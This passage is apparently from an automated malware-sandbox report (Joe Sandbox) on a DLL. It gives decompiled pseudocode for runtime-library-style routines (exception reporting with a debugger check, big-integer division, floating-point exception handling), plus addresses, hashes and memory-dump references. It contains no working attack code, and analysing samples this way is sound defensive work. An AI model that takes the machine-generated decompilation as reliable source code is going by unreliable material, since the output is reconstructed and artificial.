				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E6DA89FE1(_t57);
				}
				return E6DA89B91(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x6da8d8c3
0x6da8d8c3
0x6da8d8c3
0x6da8d8ce
0x6da8d8d3
0x6da8d8d5
0x6da8d8dd
0x6da8d8df
0x6da8d8e2
0x6da8d8e7
0x6da8d8e7
0x6da8d8f3
0x6da8d906
0x6da8d914
0x6da8d91a
0x6da8d920
0x6da8d926
0x6da8d92c
0x6da8d932
0x6da8d938
0x6da8d93e
0x6da8d944
0x6da8d94a
0x6da8d951
0x6da8d958
0x6da8d95f
0x6da8d966
0x6da8d96d
0x6da8d974
0x6da8d975
0x6da8d97e
0x6da8d984
0x6da8d987
0x6da8d98d
0x6da8d99a
0x6da8d9a3
0x6da8d9ac
0x6da8d9b5
0x6da8d9c3
0x6da8d9c5
0x6da8d9da
0x6da8d9e6
0x6da8d9e9
0x6da8d9ee
0x6da8d9fb

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6DA8D9BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6DA8D9C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6DA8D9D2

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 81b866c4252fe133986b118eb72ea4acf85d8e6bd9e2d1cfcfbee8024d7d0eeb
Instruction ID: b6fb15600e5affc150ebbb5bea3fbe8344498087a134a75e94681cb1e01d82eb
Opcode Fuzzy Hash: 81b866c4252fe133986b118eb72ea4acf85d8e6bd9e2d1cfcfbee8024d7d0eeb
Instruction Fuzzy Hash: 7D31E57490522D9BCF21DF28D98878CBBB8BF08310F5042EAE91CA7251EB709BC18F45

Uniqueness

Uniqueness Score: -1.00%

Function 6DA904A0 Relevance: 3.4, APIs: 2, Instructions: 449
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E6DA904A0(signed int* _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr* _v52;
				signed int _v56;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				char _v540;
				signed int _v544;
				signed int* _t179;
				signed int _t181;
				intOrPtr _t182;
				signed int _t185;
				signed int* _t187;
				signed int _t189;
				unsigned int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t201;
				intOrPtr _t207;
				void* _t210;
				signed int _t212;
				signed int _t223;
				void* _t227;
				signed int _t230;
				intOrPtr* _t237;
				signed int _t238;
				signed int* _t239;
				signed int _t241;
				signed int _t243;
				signed int _t244;
				void* _t245;
				intOrPtr* _t246;
				signed int _t247;
				signed int _t252;
				unsigned int _t253;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				intOrPtr _t260;
				void* _t264;
				signed char _t270;
				intOrPtr* _t272;
				signed int _t276;
				signed int* _t277;
				signed int _t284;
				signed int _t285;
				signed int* _t288;
				signed int _t291;
				signed int _t293;
				intOrPtr* _t294;
				signed int _t298;
				signed int _t299;
				intOrPtr* _t300;
				signed int _t305;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t314;
				void* _t315;
				signed int _t316;
				signed int* _t323;
				signed int* _t325;
				signed int _t329;
				signed int _t331;
				signed int _t332;
				signed int _t334;
				void* _t335;
				signed int _t340;
				signed int _t345;
				intOrPtr* _t347;
				signed int* _t348;

				_t179 = _a4;
				_t329 =  *_t179;
				if(_t329 == 0) {
					L76:
					__eflags = 0;
					return 0;
				} else {
					_t237 = _a8;
					_t310 =  *_t237;
					_v72 = _t310;
					if(_t310 == 0) {
						goto L76;
					} else {
						_t4 = _t329 - 1; // 0x1cb
						_t252 = _t4;
						_v8 = _t252;
						_t311 = _t310 + 0xffffffff;
						if(_t311 != 0) {
							__eflags = _t311 - _t252;
							if(_t311 > _t252) {
								goto L76;
							} else {
								_t181 = _t252;
								_t284 = _t252 - _t311;
								__eflags = _t252 - _t284;
								if(_t252 < _t284) {
									L19:
									_t284 = _t284 + 1;
									__eflags = _t284;
								} else {
									_t345 =  &(_a4[1]);
									__eflags = _t345;
									_t272 = _t345 + _t252 * 4;
									_t46 = _t237 + 4; // 0x6da9df36
									_t347 = _t46 + _t311 * 4;
									while(1) {
										__eflags =  *_t347 -  *_t272;
										if(__eflags != 0) {
											break;
										}
										_t181 = _t181 - 1;
										_t347 = _t347 - 4;
										_t272 = _t272 - 4;
										__eflags = _t181 - _t284;
										if(_t181 >= _t284) {
											continue;
										} else {
											goto L19;
										}
										goto L20;
									}
									if(__eflags < 0) {
										goto L19;
									}
								}
								L20:
								__eflags = _t284;
								if(__eflags == 0) {
									goto L76;
								} else {
									_t182 = _a8;
									_t238 = _v72;
									_t331 =  *(_t182 + _t238 * 4);
									_t54 = _t238 * 4; // 0xffff256e
									_t253 =  *(_t182 + _t54 - 4);
									asm("bsr eax, esi");
									_v44 = _t331;
									_v36 = _t253;
									if(__eflags == 0) {
										_t312 = 0x20;
									} else {
										_t312 = 0x1f - _t182;
									}
									_v12 = _t312;
									_v40 = 0x20 - _t312;
									__eflags = _t312;
									if(_t312 != 0) {
										_t270 = _t312;
										_v36 = _v36 << _t270;
										_v44 = _t331 << _t270 | _t253 >> _v40;
										__eflags = _t238 - 2;
										if(_t238 > 2) {
											_t67 = _t238 * 4; // 0xe850ffff
											_t69 =  &_v36;
											 *_t69 = _v36 |  *(_a8 + _t67 - 8) >> _v40;
											__eflags =  *_t69;
										}
									}
									_t332 = 0;
									_v32 = 0;
									_t285 = _t284 + 0xffffffff;
									__eflags = _t285;
									_v80 = _t285;
									if(_t285 >= 0) {
										_t187 = _a4;
										_t256 = _t285 + _t238;
										_v48 = _t256;
										_v52 = _t187 + (_t285 + 1) * 4;
										_t189 = _t187 + _t256 * 4 + 0xfffffffc;
										__eflags = _t189;
										_v28 = _t189;
										do {
											__eflags = _t256 - _v8;
											if(_t256 > _v8) {
												_t257 = 0;
												__eflags = 0;
											} else {
												_t257 =  *(_t189 + 8);
											}
											_t291 =  *(_t189 + 4);
											_t241 = _t257;
											_t190 =  *_t189;
											_v76 = _t257;
											_v56 = 0;
											_v20 = _t190;
											__eflags = _t312;
											if(_t312 != 0) {
												_t298 = _t241;
												_t212 = E6DAA1ED0(_t291, _v12, _t298);
												_t257 = _v12;
												_t241 = _t298;
												_t291 = _t190 >> _v40 | _t212;
												_t332 = _v20 << _t257;
												__eflags = _v48 - 3;
												_v20 = _t332;
												if(_v48 >= 3) {
													_t257 = _v40;
													_t332 = _t332 |  *(_v28 - 4) >> _t257;
													__eflags = _t332;
													_v20 = _t332;
												}
											}
											_push(_t241);
											_t191 = E6DAA1E30(_t291, _t241, _v44, 0);
											_v56 = _t241;
											_t243 = _t191;
											_t334 = _t332 ^ _t332;
											_t192 = _t291;
											_v24 = _t243;
											_v16 = _t192;
											_t314 = _t257;
											_v68 = _t243;
											_v64 = _t192;
											_v56 = _t334;
											__eflags = _t192;
											if(_t192 != 0) {
												L37:
												_t244 = _t243 + 1;
												asm("adc eax, 0xffffffff");
												_t314 = _t314 + E6DA89C50(_t244, _t192, _v44, 0);
												asm("adc esi, edx");
												_t243 = _t244 | 0xffffffff;
												_t192 = 0;
												__eflags = 0;
												_v56 = _t334;
												_v24 = _t243;
												_v68 = _t243;
												_v16 = 0;
												_v64 = 0;
											} else {
												__eflags = _t243 - 0xffffffff;
												if(_t243 > 0xffffffff) {
													goto L37;
												}
											}
											__eflags = _t334;
											if(__eflags <= 0) {
												if(__eflags < 0) {
													goto L42;
												} else {
													__eflags = _t314 - 0xffffffff;
													if(_t314 <= 0xffffffff) {
														while(1) {
															L42:
															_v24 = _v20;
															_t210 = E6DA89C50(_v36, 0, _t243, _t192);
															__eflags = _t291 - _t314;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L45:
																_t192 = _v16;
																_t243 = _t243 + 0xffffffff;
																_v68 = _t243;
																asm("adc eax, 0xffffffff");
																_t314 = _t314 + _v44;
																__eflags = _t314;
																_v16 = _t192;
																asm("adc dword [ebp-0x34], 0x0");
																_v64 = _t192;
																if(_t314 == 0) {
																	__eflags = _t314 - 0xffffffff;
																	if(_t314 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t210 - _v24;
																if(_t210 <= _v24) {
																	break;
																} else {
																	goto L45;
																}
															}
															L49:
															_v24 = _t243;
															goto L50;
														}
														_t192 = _v16;
														goto L49;
													}
												}
											}
											L50:
											__eflags = _t192;
											if(_t192 != 0) {
												L52:
												_t258 = _v72;
												_t315 = 0;
												_t335 = 0;
												__eflags = _t258;
												if(_t258 != 0) {
													_t246 = _v52;
													_t201 = _a8 + 4;
													__eflags = _t201;
													_v56 = _t201;
													_v20 = _t258;
													do {
														_v8 =  *_t201;
														_t207 =  *_t246;
														_t264 = _t315 + _v68 * _v8;
														asm("adc esi, edx");
														_t315 = _t335;
														_t335 = 0;
														__eflags = _t207 - _t264;
														if(_t207 < _t264) {
															_t315 = _t315 + 1;
															asm("adc esi, esi");
														}
														 *_t246 = _t207 - _t264;
														_t246 = _t246 + 4;
														_t201 = _v56 + 4;
														_t143 =  &_v20;
														 *_t143 = _v20 - 1;
														__eflags =  *_t143;
														_v56 = _t201;
													} while ( *_t143 != 0);
													_t243 = _v24;
													_t258 = _v72;
												}
												__eflags = 0 - _t335;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L61:
														__eflags = _t258;
														if(_t258 != 0) {
															_t245 = 0;
															_t294 = _v52;
															_t340 = _a8 + 4;
															__eflags = _t340;
															_t316 = _t258;
															do {
																_t260 =  *_t294;
																_t151 = _t340 + 4; // 0x8d8b5959
																_t340 = _t151;
																_t294 = _t294 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t294 - 4)) = _t260 +  *((intOrPtr*)(_t340 - 4)) + _t245;
																asm("adc eax, 0x0");
																_t245 = 0;
																_t316 = _t316 - 1;
																__eflags = _t316;
															} while (_t316 != 0);
															_t243 = _v24;
														}
														_t243 = _t243 + 0xffffffff;
														asm("adc dword [ebp-0xc], 0xffffffff");
													} else {
														__eflags = _v76 - _t315;
														if(_v76 < _t315) {
															goto L61;
														}
													}
												}
												_t259 = _v48;
												_v8 = _t259 - 1;
											} else {
												__eflags = _t243;
												if(_t243 == 0) {
													_t259 = _v48;
												} else {
													goto L52;
												}
											}
											_t332 = _v32;
											_t312 = _v12;
											asm("adc esi, 0x0");
											_v32 = 0 + _t243;
											_t293 = _v80 - 1;
											_v52 = _v52 - 4;
											_t256 = _t259 - 1;
											_t189 = _v28 - 4;
											_v80 = _t293;
											_v48 = _t256;
											_v28 = _t189;
											__eflags = _t293;
										} while (_t293 >= 0);
									}
									_t239 = _a4;
									_t255 = _v8 + 1;
									_t185 = _t255;
									__eflags = _t185 -  *_t239;
									if(_t185 <  *_t239) {
										_t288 =  &(( &(_t239[1]))[_t185]);
										do {
											 *_t288 = 0;
											_t288 =  &(_t288[1]);
											_t185 = _t185 + 1;
											__eflags = _t185 -  *_t239;
										} while (_t185 <  *_t239);
									}
									 *_t239 = _t255;
									__eflags = _t255;
									if(_t255 != 0) {
										while(1) {
											__eflags = _t239[_t255];
											if(_t239[_t255] != 0) {
												goto L75;
											}
											_t255 = _t255 + 0xffffffff;
											__eflags = _t255;
											 *_t239 = _t255;
											if(_t255 != 0) {
												continue;
											}
											goto L75;
										}
									}
									L75:
									return _v32;
								}
							}
						} else {
							_t6 = _t237 + 4; // 0xfffff8a4
							_t299 =  *_t6;
							_v8 = _t299;
							if(_t299 != 1) {
								__eflags = _t252;
								if(_t252 != 0) {
									_t247 = 0;
									_v12 = 0;
									_t323 = 0;
									_v28 = 0;
									__eflags = _t252 - 0xffffffff;
									if(_t252 != 0xffffffff) {
										_t276 = _t252 + 1;
										__eflags = _t276;
										_t277 =  &(_t179[_t276]);
										_v32 = _t277;
										do {
											_push(_t247);
											_t227 = E6DAA1E30( *_t277, _t323, _t299, 0);
											_v28 = _t247;
											_t247 = _v12;
											_t323 = _t277;
											_v64 = _t299;
											_v12 = 0 + _t227;
											_t299 = _v8;
											asm("adc ebx, 0x0");
											_t277 = _v32 - 4;
											_v32 = _t277;
											_t329 = _t329 - 1;
											__eflags = _t329;
										} while (_t329 != 0);
										_t179 = _a4;
									}
									_t36 =  &(_t179[1]); // 0x4
									_t348 = _t36;
									 *_t179 = 0;
									_v544 = 0;
									E6DA90928(_t348, 0x1cc,  &_v540, 0);
									_t223 = _v28;
									_t300 = _a4;
									__eflags = 0 - _t223;
									 *_t348 = _t323;
									asm("sbb ecx, ecx");
									 *(_t300 + 8) = _t223;
									__eflags =  ~0x00000000;
									 *_t300 = 0xbadbae;
									return _v12;
								} else {
									_t325 =  &(_t179[1]);
									 *_t179 = _t252;
									_v544 = _t252;
									E6DA90928(_t325, 0x1cc,  &_v540, _t252);
									_t230 = _t179[1];
									_t305 = _t230 % _v8;
									 *_t325 = _t305;
									__eflags = 0 - _t305;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_a4 =  ~0x00000000;
									return _t230 / _v8;
								}
							} else {
								 *_t179 = _t311;
								_v544 = _t311;
								E6DA90928( &(_t179[1]), 0x1cc,  &_v540, _t311);
								return _t179[1];
							}
						}
					}
				}
			}

0x6da904a5
0x6da904b0
0x6da904b5
0x6da9091d
0x6da90921
0x6da90927
0x6da904bb
0x6da904bb
0x6da904be
0x6da904c0
0x6da904c5
0x00000000
0x6da904cb
0x6da904cb
0x6da904cb
0x6da904ce
0x6da904d1
0x6da904d4
0x6da905fb
0x6da905fd
0x00000000
0x6da90603
0x6da90605
0x6da90607
0x6da90609
0x6da9060b
0x6da90635
0x6da90635
0x6da90635
0x6da9060d
0x6da90610
0x6da90610
0x6da90613
0x6da90616
0x6da90619
0x6da90620
0x6da90622
0x6da90624
0x00000000
0x00000000
0x6da90626
0x6da90627
0x6da9062a
0x6da9062d
0x6da9062f
0x00000000
0x6da90631
0x00000000
0x6da90631
0x00000000
0x6da9062f
0x6da90633
0x00000000
0x00000000
0x6da90633
0x6da90636
0x6da90636
0x6da90638
0x00000000
0x6da9063e
0x6da9063e
0x6da90641
0x6da90644
0x6da90647
0x6da90647
0x6da9064b
0x6da9064e
0x6da90651
0x6da90654
0x6da9065f
0x6da90656
0x6da9065b
0x6da9065b
0x6da90669
0x6da9066e
0x6da90671
0x6da90673
0x6da9067c
0x6da9067e
0x6da90685
0x6da90688
0x6da9068b
0x6da90693
0x6da90699
0x6da90699
0x6da90699
0x6da90699
0x6da9068b
0x6da9069c
0x6da9069e
0x6da906a5
0x6da906a5
0x6da906a8
0x6da906ab
0x6da906b1
0x6da906b4
0x6da906b8
0x6da906c1
0x6da906c4
0x6da906c4
0x6da906c7
0x6da906d0
0x6da906d0
0x6da906d3
0x6da906da
0x6da906da
0x6da906d5
0x6da906d5
0x6da906d5
0x6da906dc
0x6da906df
0x6da906e1
0x6da906e3
0x6da906e6
0x6da906ed
0x6da906f0
0x6da906f2
0x6da90700
0x6da90704
0x6da90709
0x6da9070e
0x6da90715
0x6da90717
0x6da90719
0x6da9071d
0x6da90720
0x6da90725
0x6da9072d
0x6da9072d
0x6da9072f
0x6da9072f
0x6da90720
0x6da90732
0x6da9073a
0x6da9073f
0x6da90744
0x6da90746
0x6da90748
0x6da9074a
0x6da9074d
0x6da90750
0x6da90752
0x6da90755
0x6da90758
0x6da9075b
0x6da9075d
0x6da90764
0x6da90769
0x6da9076c
0x6da90776
0x6da90778
0x6da9077a
0x6da9077d
0x6da9077d
0x6da9077f
0x6da90782
0x6da90785
0x6da90788
0x6da9078b
0x6da9075f
0x6da9075f
0x6da90762
0x00000000
0x00000000
0x6da90762
0x6da9078e
0x6da90790
0x6da90792
0x00000000
0x6da90794
0x6da90794
0x6da90797
0x6da907a0
0x6da907a0
0x6da907ae
0x6da907b1
0x6da907b6
0x6da907b8
0x00000000
0x00000000
0x6da907ba
0x6da907c1
0x6da907c1
0x6da907c4
0x6da907c7
0x6da907ca
0x6da907cd
0x6da907cd
0x6da907d0
0x6da907d3
0x6da907d7
0x6da907da
0x6da907dc
0x6da907df
0x00000000
0x00000000
0x6da907e1
0x6da907df
0x6da907bc
0x6da907bc
0x6da907bf
0x00000000
0x00000000
0x00000000
0x00000000
0x6da907bf
0x6da907e6
0x6da907e6
0x00000000
0x6da907e6
0x6da907e3
0x00000000
0x6da907e3
0x6da90797
0x6da90792
0x6da907e9
0x6da907e9
0x6da907eb
0x6da907f5
0x6da907f5
0x6da907f8
0x6da907fa
0x6da907fc
0x6da907fe
0x6da90803
0x6da90806
0x6da90806
0x6da90809
0x6da9080c
0x6da90810
0x6da90812
0x6da90827
0x6da90829
0x6da9082b
0x6da9082d
0x6da9082f
0x6da90831
0x6da90833
0x6da90835
0x6da90838
0x6da90838
0x6da9083c
0x6da9083e
0x6da90844
0x6da90847
0x6da90847
0x6da90847
0x6da9084b
0x6da9084b
0x6da90850
0x6da90853
0x6da90853
0x6da90858
0x6da9085a
0x6da9085c
0x6da90863
0x6da90863
0x6da90865
0x6da9086a
0x6da9086c
0x6da9086f
0x6da9086f
0x6da90872
0x6da90874
0x6da90874
0x6da90876
0x6da90876
0x6da9087b
0x6da90881
0x6da90885
0x6da90888
0x6da9088b
0x6da9088d
0x6da9088d
0x6da9088d
0x6da90892
0x6da90892
0x6da90895
0x6da90898
0x6da9085e
0x6da9085e
0x6da90861
0x00000000
0x00000000
0x6da90861
0x6da9085c
0x6da9089c
0x6da908a2
0x6da907ed
0x6da907ed
0x6da907ef
0x6da908a7
0x00000000
0x00000000
0x00000000
0x6da907ef
0x6da908aa
0x6da908b4
0x6da908b7
0x6da908ba
0x6da908c0
0x6da908c1
0x6da908c5
0x6da908c6
0x6da908c9
0x6da908cc
0x6da908cf
0x6da908d2
0x6da908d2
0x6da906d0
0x6da908dd
0x6da908e0
0x6da908e1
0x6da908e3
0x6da908e5
0x6da908ea
0x6da908f0
0x6da908f0
0x6da908f6
0x6da908f9
0x6da908fa
0x6da908fa
0x6da908f0
0x6da908fe
0x6da90900
0x6da90902
0x6da90904
0x6da90904
0x6da90908
0x00000000
0x00000000
0x6da9090a
0x6da9090a
0x6da9090d
0x6da9090f
0x00000000
0x00000000
0x00000000
0x6da9090f
0x6da90904
0x6da90911
0x6da9091c
0x6da9091c
0x6da90638
0x6da904da
0x6da904da
0x6da904da
0x6da904dd
0x6da904e3
0x6da90514
0x6da90516
0x6da9055b
0x6da9055d
0x6da90564
0x6da90566
0x6da90569
0x6da9056c
0x6da9056e
0x6da9056e
0x6da9056f
0x6da90572
0x6da90575
0x6da90575
0x6da9057f
0x6da90584
0x6da90589
0x6da9058c
0x6da90591
0x6da90598
0x6da9059b
0x6da9059e
0x6da905a1
0x6da905a4
0x6da905a7
0x6da905a7
0x6da905a7
0x6da905ac
0x6da905ac
0x6da905af
0x6da905af
0x6da905b2
0x6da905c0
0x6da905d1
0x6da905d6
0x6da905dc
0x6da905e1
0x6da905e3
0x6da905e5
0x6da905e9
0x6da905ef
0x6da905f1
0x6da905fa
0x6da90518
0x6da9051b
0x6da9051f
0x6da9052e
0x6da90534
0x6da90539
0x6da9053d
0x6da90548
0x6da9054a
0x6da9054c
0x6da90550
0x6da90553
0x6da9055a
0x6da9055a
0x6da904e5
0x6da904eb
0x6da904fb
0x6da90501
0x6da90513
0x6da90513
0x6da904e3
0x6da904d4
0x6da904c5

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f079999708376b5f2720b3917fcdf58b9afd395b9802391cf29447260dcc6ee3
Instruction ID: bd4214c7983dede3aee10f8fd5e9a8b01e2dcc363d9be1aeb34214455bdd472d
Opcode Fuzzy Hash: f079999708376b5f2720b3917fcdf58b9afd395b9802391cf29447260dcc6ee3
Instruction Fuzzy Hash: D8F17075E1421A9FDB14CFA9C8806AEB7F1FF88364F158269E919EB380D7309941CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6DA95CF6 Relevance: 1.8, APIs: 1, Instructions: 274
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E6DA95CF6(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed char _t193;
				signed int _t196;
				signed int _t200;
				signed int _t203;
				void* _t204;
				void* _t207;
				signed int _t210;
				void* _t211;
				signed int _t226;
				unsigned int* _t241;
				signed char _t243;
				signed int* _t251;
				unsigned int* _t257;
				signed int* _t258;
				signed char _t260;
				long _t263;
				signed int* _t266;

				 *(_a4 + 4) = 0;
				_t263 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t243 = _a12;
				if((_t243 & 0x00000010) != 0) {
					_t263 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t243 & 0x00000002) != 0) {
					_t263 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t243 & 0x00000001) != 0) {
					_t263 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t243 & 0x00000004) != 0) {
					_t263 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t243 & 0x00000008) != 0) {
					_t263 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t266 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 +  *_t266) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t266 >> 5) ^  *(_a4 + 8)) & 1;
				_t260 = E6DA9632C(_a4);
				if((_t260 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t260 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t260 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t260 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t260 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t266 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffd | 1;
						L26:
						 *_t258 = _t226;
						L29:
						_t175 =  *_t266 & 0x00000300;
						if(_t175 == 0) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffeb | 0x00000008;
							L35:
							 *_t251 = _t178;
							L36:
							_t179 = _a4;
							_t255 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t255 = _a4;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E6DA96298(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x6da95d04
0x6da95d0b
0x6da95d10
0x6da95d16
0x6da95d19
0x6da95d1f
0x6da95d24
0x6da95d29
0x6da95d29
0x6da95d2f
0x6da95d34
0x6da95d39
0x6da95d39
0x6da95d40
0x6da95d45
0x6da95d4a
0x6da95d4a
0x6da95d51
0x6da95d56
0x6da95d5b
0x6da95d5b
0x6da95d62
0x6da95d67
0x6da95d6c
0x6da95d6c
0x6da95d74
0x6da95d84
0x6da95d96
0x6da95da8
0x6da95dbb
0x6da95dcd
0x6da95dd5
0x6da95dda
0x6da95ddf
0x6da95ddf
0x6da95de6
0x6da95deb
0x6da95deb
0x6da95df2
0x6da95df7
0x6da95df7
0x6da95dfe
0x6da95e03
0x6da95e03
0x6da95e0a
